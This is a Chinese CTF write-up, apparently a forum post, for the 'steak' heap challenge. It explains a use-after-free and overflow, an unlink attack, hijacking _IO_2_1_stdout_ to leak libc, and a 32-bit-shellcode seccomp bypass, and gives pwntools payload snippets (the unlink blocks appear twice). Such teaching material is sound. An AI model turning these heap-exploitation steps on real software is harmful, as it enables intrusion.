最近复现steak的时候发现网上的wp并不是很多,不忘初心,写一篇稍微详细些的wp。
题目漏洞:
逻辑还是比较清楚的,我在下面的附件里面已经做好了标注了就不展开讲了,直接交代漏洞情况。
1.delete操作的时候,存在uaf漏洞
2.add功能在chunk内输入信息的时候没有'\x00'结尾
3.edit操作的时候存在任意长度的溢出,可以用来构造overlapped chunk。
漏洞明显的题目,利用起来总会有卡主的地方,这题就是缺少leak函数。
突破点,我们可以控制_IO_2_1_stdout_的write_base、write_ptr等信息,利用puts函数泄露libc以及stack信息。
利用思路:
1.利用edit功能溢出构成unlink,向前合并,使得global_node结构指向其前面三个内存单元处,从而就可以控制global_node结构进行任意地址写。
2.利用copy功能,将global_node结构中的信息覆盖为_IO_2_1_stdout的地址,从而就可以控制_IO_2_1_stdout_的结构。
3.修改结构信息,泄露libc、stack信息。
4.因为开启了seccomp,所以对函数进行了一定的限制,我们通过seccomp-tools查看可以看到限制了fork函数,因此system、execve函数就不能够调用了,并且限制了open函数,那么好像读取flag操作也不能?仔细看一下,只是限制了64位的open函数,并没有限制32位的open,因此32位的shellcode还可以绕过。
5.所以我们知道了libc、stack信息之后,可以通过mprotect函数更改bss段权限,向bss段中写入shellcode,后面覆盖stack,控制程序流。
这篇文章的重点是分析以下两点,在wp中被师傅们一笔带过的事情:
1._IO_2_1_stdout_的结构信息伪造成什么样的,flag限制具体通过什么得到的。
2.shellcode编写的两种方式。
利用分析:
首先是通过缓冲区溢出构造fake_chunk,并且free chunk ,触发unlink,使得global_node指向其前面三个内存单元处,从而可以控制global_node的信息,达成任意地址写。
add(0x80,'\x01')#0
add(0x80,'\x02')#1
add(0x80,'\x03')#2
payload = p64(0)+p64(0x81)+p64(node-0x18)+p64(node-0x10)
payload = payload.ljust(0x80,'\x00')
payload += p64(0x80)+p64(0x90)
edit(0,0x90,payload) #make fake chunk
delete(1)# trigger unlink , make node[0] point to node[0]-0x18
add(0x80,'\x01')#0
add(0x80,'\x02')#1
add(0x80,'\x03')#2
payload = p64(0)+p64(0x81)+p64(node-0x18)+p64(node-0x10)
payload = payload.ljust(0x80,'\x00')
payload += p64(0x80)+p64(0x90)
edit(0,0x90,payload) #make fake chunk
delete(1)# trigger unlink , make node[0] point to node[0]-0x18
然后是将_IO_2_1_stdout的地址信息写到global_node中,这样我们后面就可以更改_IO_2_1_stdout_的结构信息了:
payload2 = "a"*0x18+p64(node)*2+p64(bss_stdout)+p64(0x602000)#node[0]/node[1] = node[0] , node[2]=bss_stdout , node[3]=bss_addr(prepared for the mprotect)
edit(0,0x38,payload2)
copy(2,1,8) # make node[0] point to bss_stdout.
payload2 = "a"*0x18+p64(node)*2+p64(bss_stdout)+p64(0x602000)#node[0]/node[1] = node[0] , node[2]=bss_stdout , node[3]=bss_addr(prepared for the mprotect)
edit(0,0x38,payload2)
copy(2,1,8) # make node[0] point to bss_stdout.
但是我们能够控制stdout的结构信息之后具体是如何进行控制呢?把每个字段改成什么呢?
这就需要审计linux 函数的源代码了。
这道题目我们利用的是puts函数来泄露信息,所以我们需要审计的是puts函数的源代码。可以看一下这位
师傅 的文章,写的比较清楚了,但是想真正的明白还是需要自己去动手试一下。
简单来说,puts函数最终的调用流程是puts-> _IO_new_file_xsputn->_IO_OVERFLOW->_IO_new_file_overflow->_IO_do_write->new_do_write->_IO_SYSWRITE , 其中当然要通过许多限制,因此我们的flag要设置成对应的值才能成功利用。
最终调用的函数是
_IO_SYSWRITE (fp, data, to_do)
其中data = _IO_write_base是输出信息的起始地址,to_do = _IO_write_ptr -
_IO_write_base,是输出信息的长度。
这道题目的flag限制要设置成0xfbad3887,因为时间原因我也还没去看源代码,以后回去看下,具体原因如果有师傅跟踪出来了,希望师傅能够评论或者私信告诉我一下。
修改_IO_2_1_stdout_的结构信息,泄露libc
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2019-9-26 13:38
被Seclusion编辑
,原因:
上传的附件: